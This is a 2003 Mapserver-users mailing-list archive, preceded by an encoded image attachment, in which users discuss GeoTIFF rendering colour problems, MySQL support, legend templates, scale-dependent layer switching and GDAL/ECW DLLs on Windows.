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 --0-766410954-1043688896=:28483-- From ed at topozone.com Mon Jan 27 09:41:58 2003 From: ed at topozone.com (Ed McNierney) Date: Mon, 27 Jan 2003 12:41:58 -0500 Subject: [Mapserver-users] Raster geotiff turns background yellow Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3BF0@mercator.topozone.com> Randy - Is it possible for you to make the GeoTIFF available? Thanks. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: randy james [mailto:rjames57 at yahoo.com] Sent: Monday, January 27, 2003 12:35 PM To: Mapserver Users Subject: Re: [Mapserver-users] Raster geotiff turns background yellow Hi List I checked the geotiff file in the GIMP and it did not have any yellow in the image. But than i checked the image created by Mapserver and it has the yellow background on it. Soo i assume that the cgi is creating the yellow. Also i noticed that the polygon layer loaded before the geotiff has changed to the grayscale color of the geotiff. I am sending the rendered imaged created by mapserver cgi for review. Cheers Randy --- woodbri at swoodbridge.com wrote: > Randy, > > I assume that the color change is taking place when > view in a > browser? Have you tried to view it in an image > viewer? > > Sometimes the browser pre allocates an bunch of > colors and when you > load the geotiff, it does not have enough slots in > the color lookup > table and has to assign the additional colors to > existing ones. Some > software is better at this than others, but it is > typically the > reason why your get the type of color change you > described. > > -Steve W. > > On 24 Jan 2003 at 14:51, randy james wrote: > > > Hi list > > > > Has anyone experienced problems with a geotiff > file > > making the image background turn yellow? (or any > > color) > > > > The orthophoto (geotiff) that causes the problem > is my > > fist attempt at projecting a raster on the fly. I > have > > tried importing the ortho into GRASS and than > > exporting it again, but it did not make a > difference. > > > > The gdalinfo utility output is quite large for the > > ortho causing the problem, but once its exported > from > > GRASS it is the same as the orthos that work (i > think) > > > > I'm wondering if its something to to with > projecting a > > raster or is it the file format. I will read and > try > > the gdal_translate utility next i guess > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > Cheers > > Randy > > > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > > http://mailplus.yahoo.com > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From rjames57 at yahoo.com Mon Jan 27 09:52:38 2003 From: rjames57 at yahoo.com (randy james) Date: Mon, 27 Jan 2003 09:52:38 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <13858AA1A74F30419F319ACB66A9D1221F3BF0@mercator.topozone.com> Message-ID: <20030127175238.99113.qmail@web12507.mail.yahoo.com> Hi I do not have a high speed internet available, the GeoTIFF file is 176MB in size. Too large to email. Cheers Randy --- Ed McNierney wrote: > Randy - > > Is it possible for you to make the GeoTIFF > available? Thanks. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: randy james [mailto:rjames57 at yahoo.com] > Sent: Monday, January 27, 2003 12:35 PM > To: Mapserver Users > Subject: Re: [Mapserver-users] Raster geotiff turns > background yellow > > > Hi List > > I checked the geotiff file in the GIMP and it did > not > have any yellow in the image. But than i checked the > image created by Mapserver and it has the yellow > background on it. Soo i assume that the cgi is > creating the yellow. Also i noticed that the polygon > layer loaded before the geotiff has changed to the > grayscale color of the geotiff. > > I am sending the rendered imaged created by > mapserver > cgi for review. > > Cheers > Randy > > --- woodbri at swoodbridge.com wrote: > > Randy, > > > > I assume that the color change is taking place > when > > view in a > > browser? Have you tried to view it in an image > > viewer? > > > > Sometimes the browser pre allocates an bunch of > > colors and when you > > load the geotiff, it does not have enough slots in > > the color lookup > > table and has to assign the additional colors to > > existing ones. Some > > software is better at this than others, but it is > > typically the > > reason why your get the type of color change you > > described. > > > > -Steve W. > > > > On 24 Jan 2003 at 14:51, randy james wrote: > > > > > Hi list > > > > > > Has anyone experienced problems with a geotiff > > file > > > making the image background turn yellow? (or any > > > color) > > > > > > The orthophoto (geotiff) that causes the problem > > is my > > > fist attempt at projecting a raster on the fly. > I > > have > > > tried importing the ortho into GRASS and than > > > exporting it again, but it did not make a > > difference. > > > > > > The gdalinfo utility output is quite large for > the > > > ortho causing the problem, but once its exported > > from > > > GRASS it is the same as the orthos that work (i > > think) > > > > > > I'm wondering if its something to to with > > projecting a > > > raster or is it the file format. I will read > and > > try > > > the gdal_translate utility next i guess > > > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > Cheers > > > Randy > > > > > > > > > > __________________________________________________ > > > Do you Yahoo!? > > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > > now. > > > http://mailplus.yahoo.com > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > http://mailplus.yahoo.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From steve.lime at dnr.state.mn.us Mon Jan 27 10:14:34 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 27 Jan 2003 12:14:34 -0600 Subject: [Mapserver-users] MySQL Message-ID: Lukewarm is the wrong word. My only concern was that there was other MySQL work going on, but that was never confirmed. Given the hectic state of development Attila's MySQL code still sits in my mailbox awaiting review. I was under the impression it was spatial in nature or use of a connection as oposed to a join wouldn't make much sense. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> Attila Csipa 01/27/03 05:10AM >>> On Monday 27 January 2003 09:34, Mladen Kotarac wrote: > Any comments on MySQL implementation of opengis standards? > Any thoughts of Mapserver / Mapscript support for MySQL? When the postgis implementation on mysql will be available (not sure if that will be in 4.1) it will most probably be supported with mysql, so I was told. I personally have already written a non-spatial mysql connectiontype interface, but that got a lukewarm reception from the developers. Regards, Attila _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From RUBINJ at gov.ns.ca Mon Jan 27 12:15:45 2003 From: RUBINJ at gov.ns.ca (John Rubin) Date: Mon, 27 Jan 2003 16:15:45 -0400 Subject: [Mapserver-users] Program to clean up *gif files Message-ID: Can anyone recommend a program to automatically erase gif files created by mapserver in the ../tmp directory? We are looking for a program for both windows and Unix. Thanks John John Rubin Telephone: 902-893-5712 E-mail: RUBINJ at gov.ns.ca From RUBINJ at gov.ns.ca Mon Jan 27 12:24:11 2003 From: RUBINJ at gov.ns.ca (John Rubin) Date: Mon, 27 Jan 2003 16:24:11 -0400 Subject: [Mapserver-users] Legend Problems Message-ID: The following code is used in a template file to create a printable html page. The first img tag creates a legend consisting of only lines from line shapes. It should create a legend from point, line and polygon shapes. The second img tag creates a legend from point, line and polygon shapes if they are set. Is this correct or should both of the legends be the same?
Legend Legend
Oliver Wesp <wesp at gdv.com><= /b>
Gesendet von: mapserver-users-admin@= lists.gis.umn.edu

28.01.2003 12:15

       
        An: &nbs= p;      Agneta Schick <schick at sdac.hannover.bgr.de>
        Kopie: &= nbsp;      mapserver-users at lists.gis.umn.edu
        Thema: &= nbsp;      Re: [Mapserver-users] switching layers when zoomi= ng



Maybe the identical layer name caus= es this effect. Maybe it's better to
use the group option. Should be something like this:

LAYER
NAME relief=5Fhighscale
GROUP relief
.
.
.
END

LAYER
NAME relief=5Flowscale
GROUP relief
.
.
.
END

This way you have unique layer names, but you still can handle it as one layer in your application via the group name.

Agneta Schick schrieb:
> Hello,
>
> As long as I was only using only one layer I thought I knew what I was= doing.
>
> Apparently not... I want to show a layer (1:1000000) and after zooming=
> below 1:250000 switch to a different layer.
> My solution is define two layers with the same name but different MINS= CALE,
> MAXSCALE:
> ...
> LAYER
>   NAME relief
>   DATA graul0.tif
>   TYPE RASTER
>   MAXSCALE 5000000
>   MINSCALE  250000
>   STATUS DEFAULT
> END
> LAYER
>   NAME relief
>   TILEINDEX index200.shp
>   TILEITEM "dtk200"
>   TYPE RASTER
>   MAXSCALE 250000
>   STATUS DEFAULT
> END
> ...
> MapScript:
>     my $layer =3D $map->getLayerByName('relief');
>     $layer->draw($map, $img);
>
> I expected Mapserver to interpret $map->{scale} and show the approp= riate
> map. My result: after zooming below 250000 my layer is empty.
> Each if the two layers are ok as a single layer and I've checked the c= ontents of
> $map->{scale} so that's not the problem.
> Is my whole assumption wrong?
>
> Thank you for your help.
> Agneta Schick
>
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~
>     Agneta Schick
>    
>     Bundesanstalt fuer Geowissenschaften und Rohstoffe
>     Federal Institute for Geosciences and Natural Resources<= br> >     Stilleweg 2
>     D- 30655 Hannover           &nb= sp;       Tel.: +49 511 643 3136
>     GERMANY              =               FAX.: +49 511 643 3663
>
>     schick at sdac.hannover.bgr.de         = http://www.seismologie.bgr.de
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~= ~~~~~~~
>
>
>
> =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>


--
Dipl.-Geogr. Oliver Wesp
Gesellschaft f=FCr geografische Datenverarbeitung
Binger Strasse 49-51
D-55218 Ingelheim
fon: +49 6132 714818
fax: +49 6132 714828
http: www.gdv.com

=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


--=_alternative 004943AFC1256CBC_=-- ------=_NextPartTM-000-3ab0aa26-329f-11d7-bc9e-0090274d4ab2-- From jpmclaro at yahoo.com.br Tue Jan 28 06:49:23 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Tue, 28 Jan 2003 12:49:23 -0200 Subject: [Mapserver-users] Help Message-ID: <002e01c2c6dc$7435c1a0$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_002B_01C2C6CB.AF1FC1F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable G'Day all, I am with the following problem, I am opening to layer of street in the = Mapinfo(tab) format, and determined level of zoom the processing of the = PC goes the 100%, as can prevent this problem?=20 Somebody can indicate an application example, where I can enter with one = definitive coordinate x,y, and receives as return the corresponding = image?=20 Very thanks. Jo=E3o Paulo ------=_NextPart_000_002B_01C2C6CB.AF1FC1F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
  G'Day all,
I am with the following problem, I am opening to layer of = street in=20 the Mapinfo(tab) format, and determined level of zoom the processing of = the PC=20 goes the 100%, as can prevent this problem? Somebody can indicate an application example, where I can = enter with=20 one definitive coordinate x,y, and receives as return the corresponding = image?=20 Very thanks. Jo=E3o Paulo ------=_NextPart_000_002B_01C2C6CB.AF1FC1F0-- _______________________________________________________________________ Busca Yahoo! O servi?o de busca mais completo da Internet. O que voc? pensar o Yahoo! encontra. http://br.busca.yahoo.com/ From jhart at frw.uva.nl Tue Jan 28 06:53:56 2003 From: jhart at frw.uva.nl (Jan Hartmann) Date: Tue, 28 Jan 2003 15:53:56 +0100 Subject: [Mapserver-users] MySQL In-Reply-To: References: Message-ID: <3E369984.7020102@frw.uva.nl> IMO MySQL capabilities would be a very welcome addition to MapServer, but full PostGIS-like functionality would be extremely difficult to realize. PostGIS depends on advanced native PostgreSQL facilities, like geometric datatypes and GIST indexing (IMO GIST indexes really make PostGIS tick). Building all this into MySQL would be a much harder job than implementing PostGIS in PostgreSQL (and even that wasn't exactly trivial I believe). There was a posting a few days ago on planned OpenGIS facilities for MySQL ( http://lists.dmsolutions.ca/pipermail/mapserver-users/2003-January/083044.html ), but this looked very long-term, certainly not for the upcoming 4.1 release. Yet even a non-GIS connection between MapServer and MySQL would offer many advantages. Think about JOINS. These are being reintroduced into 3.7, but only for DBF files. If this mechanism could be expanded to MySQL (or PostgreSQL without PostGIS), a non-GIS enabled database could be used alongside MapServer, although the maps would have to be regular GIS files of course. Something like using TABLE and TO in the JOIN object the same way as CONNECTION and DATA in the LAYER object. This would make even the current version of MySQL very usable with MapServer. Not sure how difficult this would be (not for 3.7 I'd imagine), but certainly something to think of for the longer term. How about it Steve, Attila? Jan PS: For those interested: a PostgreSQL beta for native (non-cygwin) Windows is available at http://techdocs.postgresql.org/guides/InstallingOnWindows Steve Lime wrote: > Lukewarm is the wrong word. My only concern was that there was other > MySQL > work going on, but that was never confirmed. Given the hectic state of > development > Attila's MySQL code still sits in my mailbox awaiting review. I was > under the impression > it was spatial in nature or use of a connection as oposed to a join > wouldn't make > much sense. > > Steve > > Stephen Lime > Data & Applications Manager > > Minnesota DNR > 500 Lafayette Road > St. Paul, MN 55155 > 651-297-2937 > > >>>>Attila Csipa 01/27/03 05:10AM >>> > > On Monday 27 January 2003 09:34, Mladen Kotarac wrote: > >>Any comments on MySQL implementation of opengis standards? >>Any thoughts of Mapserver / Mapscript support for MySQL? > > > When the postgis implementation on mysql will be available (not sure if > that > will be in 4.1) it will most probably be supported with mysql, so I was > told. > I personally have already written a non-spatial mysql connectiontype > interface, but that got a lukewarm reception from the developers. > > Regards, > Attila > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Jan Hartmann Department of Geography University of Amsterdam jhart at frw.uva.nl From chagwood at ci.garner.nc.us Tue Jan 28 06:57:39 2003 From: chagwood at ci.garner.nc.us (Chris Hagwood) Date: Tue, 28 Jan 2003 09:57:39 -0500 Subject: [Mapserver-users] Suggestions Message-ID: <79C990C4127BEC41B9D4F06EDD009971066FE9@Garner4.TOG.CI.GARNER.NC.US> I am very new to mapserver, but have successfully installed it, loaded the itasca demo, and gotten it to display a basic interactive map of our city. (Win2K, IIS, IE5.5) To make my map file, I'm using Ross Searle's Arcview script. However, I cannot seem to get a map to show up in his javascript web page. It writes a plain white map each time. Anyone gotten this to work in windows/IIS environments? In the meantime, I'm cutting and pasting to the one from the itasca demo to make my own maps (just for learning purposes so far). Since my first project with mapserver is an informative map of our city, with police beats and maybe some crime stats, I need to learn a bit more and am open to suggestions. 1. How do I get street names, beat labels, and so forth to show up? 2. Does mapserver do any address matching or GIS coordinate plotting? When I have something worth publishing on the public server, I'll post here and ask for some more feedback. Until then, thanks in advance! From morissette at dmsolutions.ca Tue Jan 28 07:04:28 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 28 Jan 2003 10:04:28 -0500 Subject: [Mapserver-users] ECW files References: <3E34EF2A.5040006@ckff.si> <3E35D8F6.569579B3@adelaide.edu.au> Message-ID: <3E369BFC.C8EF8FC7@dmsolutions.ca> Lyndon Zimmermann wrote: > > Secondly, doco says certain SDK dll's are required and suggests > location in the 'same directory as the GDAL DLL'. I found the SDK > library, but I can't find the GDAL DLL on my machine. Where does the > GDAL come from? > If you use a Windows build that came from our download site, then I believe GDAL is statically linked into our executables, so you won't have nor need a gdal dll in this case. Assefa could correct me if I'm wrong. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From assefa at dmsolutions.ca Tue Jan 28 07:18:17 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 28 Jan 2003 10:18:17 -0500 Subject: [Mapserver-users] ECW files References: <3E34EF2A.5040006@ckff.si> <3E35D8F6.569579B3@adelaide.edu.au> <3E369BFC.C8EF8FC7@dmsolutions.ca> Message-ID: <3E369F39.2B29FA86@dmsolutions.ca> In the binaries built here, GDAL library is linked staticlly with mapserver, so there is no dll needed. Note also that the download zip files contains the ECW dll necessary plus a README for the installation. Daniel Morissette wrote: > Lyndon Zimmermann wrote: > > > > Secondly, doco says certain SDK dll's are required and suggests > > location in the 'same directory as the GDAL DLL'. I found the SDK > > library, but I can't find the GDAL DLL on my machine. Where does the > > GDAL come from? > > > > If you use a Windows build that came from our download site, then I > believe GDAL is statically linked into our executables, so you won't > have nor need a gdal dll in this case. Assefa could correct me if I'm > wrong. > > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From DMartin at erac.com Tue Jan 28 07:41:40 2003 From: DMartin at erac.com (Martin, Daniel) Date: Tue, 28 Jan 2003 09:41:40 -0600 Subject: [Mapserver-users] switching layers when zooming Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBD26@STL-EXBE-I03.corp.erac.com> I can assure you using the same name isn't the problem. I use this technique (same name, different scales) in nearly all my maps. It works beautifully, especially since they turn on and off together and don't show up twice in the legend if you filter out-of-scale layers. But, I must admit I don't know what's going wrong for Agneta. I've never used rasters in that manner, and I've never used STATUS DEFAULT on one of these layers. -Dan > -----Original Message----- > From: Oliver Wesp [mailto:wesp at gdv.com] > Sent: Tuesday, January 28, 2003 5:16 AM > To: Agneta Schick > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] switching layers when zooming > > > Maybe the identical layer name causes this effect. Maybe it's > better to > use the group option. Should be something like this: > > LAYER > NAME relief_highscale > GROUP relief > . > . > . > END > > LAYER > NAME relief_lowscale > GROUP relief > . > . > . > END > > This way you have unique layer names, but you still can > handle it as one > layer in your application via the group name. > > Agneta Schick schrieb: > > Hello, > > > > As long as I was only using only one layer I thought I knew > what I was doing. > > > > Apparently not... I want to show a layer (1:1000000) and > after zooming > > below 1:250000 switch to a different layer. > > My solution is define two layers with the same name but > different MINSCALE, > > MAXSCALE: > > ... > > LAYER > > NAME relief > > DATA graul0.tif > > TYPE RASTER > > MAXSCALE 5000000 > > MINSCALE 250000 > > STATUS DEFAULT > > END > > LAYER > > 